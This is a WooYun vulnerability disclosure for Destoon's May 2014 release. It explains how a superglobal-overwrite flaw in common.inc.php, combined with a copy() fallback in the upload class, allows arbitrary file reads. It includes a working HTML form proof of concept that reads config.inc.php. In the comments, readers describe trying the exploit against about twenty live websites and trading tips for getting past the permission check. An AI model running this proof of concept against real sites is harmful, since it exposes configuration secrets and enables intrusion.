当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(27) 关注此漏洞

缺陷编号: WooYun-2014-63895

漏洞标题: Destoon 20140530最新版超全局变量覆盖导致的安全问题(官方demo演示)

相关厂商: DESTOON

漏洞作者: 索马里的海贼

提交时间: 2014-06-07 14:51

公开时间: 2014-09-05 14:52

漏洞类型: 设计缺陷/逻辑错误

危害等级: 高

自评Rank: 15

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

11人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-07: 细节已通知厂商并且等待厂商处理中
2014-06-09: 厂商已经确认,细节仅向厂商公开
2014-06-12: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-08-03: 细节向核心白帽子及相关领域专家公开
2014-08-13: 细节向普通白帽子公开
2014-08-23: 细节向实习白帽子公开
2014-09-05: 细节向公众公开

简要描述:

短时间没找到合适的注入 找了个任意文件读取发上来了

详细说明:

代码片段0x1 /common.inc.php行17

code 区域
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
if($$__R) { foreach($$__R as $__k => $__v) { if(isset($$__k) && $$__k == $__v) unset($$__k); } }
}



这里的逻辑是 如果 post get cookie 请求中的$$key和$value相等 就unset掉$$key

如果我们向1.php?x=1提交一个POST请求 内容为_GET[x]=1

因为?x=1 所以$_GET内容为 array('x'=>'1')

当开始遍历$_POST的时候 $__k是_GET[x] 所以$$__k 就是$_GET[x]也就是array('x'=>'1')

$__v是POST上来的一个数组 内容也是array('x'=>'1')

$$__k == $__v成立所以 我们的超全局变量 $_GET就这么华丽丽的被unset了



代码片段0x2 /common.inc.php行65

code 区域
if($_POST) { $_POST = strip_sql($_POST); strip_key($_POST); }
if($_GET) { $_GET = strip_sql($_GET); strip_key($_GET); }
if($_COOKIE) { $_COOKIE = strip_sql($_COOKIE); strip_key($_COOKIE); }
if(!IN_ADMIN) {
$BANIP = cache_read('banip.php');
if($BANIP) banip($BANIP);
$destoon_task = '';
}
if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);



由于我们的$_GET已经在前面被unset了 所以即使加了EXTR_SKIP extract($_POST)仍然能够正常的初始化$_GET extract($_GET)的值就成功绕过了全局的strip_sql 和strip_key函数的检查。





短时间没有找到合适的注入点,却发现了另外一个问题

其实不光光是$_GET,$_FILES也是可以覆盖的。



$_FILES的覆盖比$_GET要稍微复杂一些,因为$_FILES初始值是array()且只在有文件上传的时候才会重新初始化

因为上面判断是$$__k == $__v而能跟array() ==的只有null、false和array()很明显这些我们都无法用get post或者cookie提交上去

如果我们真的上传了一个文件 那$_FILES[file][tmp_name]又是一个未知量 所以 这里我把上传的包改了 删掉了filename

这样上传就会出错,$_FILES就会被初始化成

array(

'name'=>'',

'type'=>'',

'size'=>0,

'tmp_name'=>'',

'error'=>4

)



这个数组我们就可以伪造了,伪造一个相同的数组之后,$_FILES就被unset了 我们就能用$_POST 或者$_GET来重新初始化它

来看下利用的地方:

代码片段0x3 /upload.php行66

code 区域
$do = new upload($_FILES, $uploaddir);
省略部分…………
if($do->save()) {



可以看到$_FILES直接丢给了upload类 然后直接save了

代码片段0x4 /include/upload.class.php行43

code 区域
function save() {
//前面的都不关心
if(!move_uploaded_file($this->file, DT_ROOT.'/'.$this->saveto) && !copy($this->file, DT_ROOT.'/'.$this->saveto))
//后面的也不关心
}



这里除了用到move_uploaded_file外 还尝试了copy

我们知道 move_uploaded_file是会检查第一个参数的 如果不是合法的上传文件就会返回false

而copy就简单粗暴的多了 不管你是哪的 直接给你拷贝过去

$this->file其实就是$_FILES[file][tmp_name] 而这个值现在是可以自己构造的了,所以这里就可以读取任意文件了

POC如下:

code 区域
<form enctype="multipart/form-data" action="http://**.**.**.**/v5.0/upload.php?from=file&_FILES[file][name]=&_FILES[file][type]=&_FILES[file][size]=0&_FILES[file][tmp_name]=&_FILES[file][error]=4" method="POST">
<input type="hidden" name="_FILES[file][name]" value = "1.rar">
<input type="hidden" name="_FILES[file][type]" value = "rar">
<input type="hidden" name="_FILES[file][size]" value = "0">
<input type="hidden" name="_FILES[file][tmp_name]" value = "config.inc.php">
<input type="hidden" name="_FILES[file][error]" value = "4">
<input name="file" type="file" />
<input type="submit" value="POST" />
</form>



这里用$_GET配合上传unset了$_FILES然后在extract($_POST)的时候重新初始化了$_FILES

随便选个文件提交拦下数据包 修改

Content-Disposition: form-data; name="file"; filename=""

中的filename字段为空 如图就返回了我们要读取的文件了



漏洞证明:

2.jpg





3.jpg

修复方案:

第一个foreach一直没明白是干嘛的。。。

版权声明:转载请注明来源 索马里的海贼@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2014-06-09 15:02

厂商回复:

感谢反馈 我们会尽快修复

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-06-07 15:52 | tzrj ( 实习白帽子 | Rank:87 漏洞数:24 | 1111)
    0

    我第一眼居然看成DZ了 吓我一跳

  2. 2014-06-07 16:44 | 红领巾 ( 路人 | Rank:22 漏洞数:4 | 有些漏洞,如果只是从技术层面来说明问题,...)
    0

    @tzrj 我看成了dede

  3. 2014-06-07 17:27 | phith0n 认证白帽子 ( 普通白帽子 | Rank:804 漏洞数:125 | 一个想当文人的黑客~)
    0

    @索马里的海贼 所谓漏洞利益最大化,你应该别急着发的~反正是0day,再研究一下说不定能getshell

  4. 2014-06-07 17:44 | 索马里的海贼 ( 普通白帽子 | Rank:264 漏洞数:25 | http://tieba.baidu.com/f?kw=WOW)
    0

    @phith0n 其实是我已经大概翻过一遍了,而且再细看的话rank也不会从15变成150 所以草草结束这个看下一个去了

  5. 2014-07-04 11:09 | 爱小菜 ( 路人 | Rank:10 漏洞数:5 | 本人菜鸟一枚,努力学习天天向上!希望能让...)
    0

    @索马里的海贼 贼哥,请问你这个漏洞用什么抓包工具啊?我咋没找到那款工具呢?

  6. 2014-07-04 11:36 | 索马里的海贼 ( 普通白帽子 | Rank:264 漏洞数:25 | http://tieba.baidu.com/f?kw=WOW)
    0

    @爱小菜 fiddler2

  7. 2014-07-04 12:12 | 爱小菜 ( 路人 | Rank:10 漏洞数:5 | 本人菜鸟一枚,努力学习天天向上!希望能让...)
    0

    @索马里的海贼 贼哥,谢了,我去测试了

  8. 2014-07-04 12:43 | 爱小菜 ( 路人 | Rank:10 漏洞数:5 | 本人菜鸟一枚,努力学习天天向上!希望能让...)
    0

    @索马里的海贼 贼哥,你这个漏洞不行啊!我连续测试了近20个网站,清一色提示:“没有权限上传文件”呀!

  9. 2014-07-04 13:22 | 索马里的海贼 ( 普通白帽子 | Rank:264 漏洞数:25 | http://tieba.baidu.com/f?kw=WOW)
    0

    @爱小菜 注册个账号 登录

  10. 2014-07-05 13:45 | 爱小菜 ( 路人 | Rank:10 漏洞数:5 | 本人菜鸟一枚,努力学习天天向上!希望能让...)
    0

    @索马里的海贼 贼哥, 我还有个问题想问下您:是不是我的操作步骤有问题?我的操作步骤是首先上传一个文件,然后通过浏览器get打开这个文件,否则按照教程中说的步骤没法上传空文件名,会提示没有任何文件被上传~!

  11. 2014-09-05 22:37 | 0c0c0f ( 实习白帽子 | Rank:50 漏洞数:16 | My H34rt c4n 3xploit 4ny h0les!)
    0

    当开始遍历$_POST的时候 $__k是_GET[x] 所以$$__k 就是$_GET[x]也就是array('x'=>'1') $__v是POST上来的一个数组 内容也是array('x'=>'1') 这里应该是可可变量,跟什么post上来一个数组没有关系吧

  12. 2014-09-24 16:48 | azuer ( 普通白帽子 | Rank:127 漏洞数:30 )
    0

    在哪个地方上传文件? 直接利用洞主的exp 提示没有上传权限。

登录后才能发表评论,请先 登录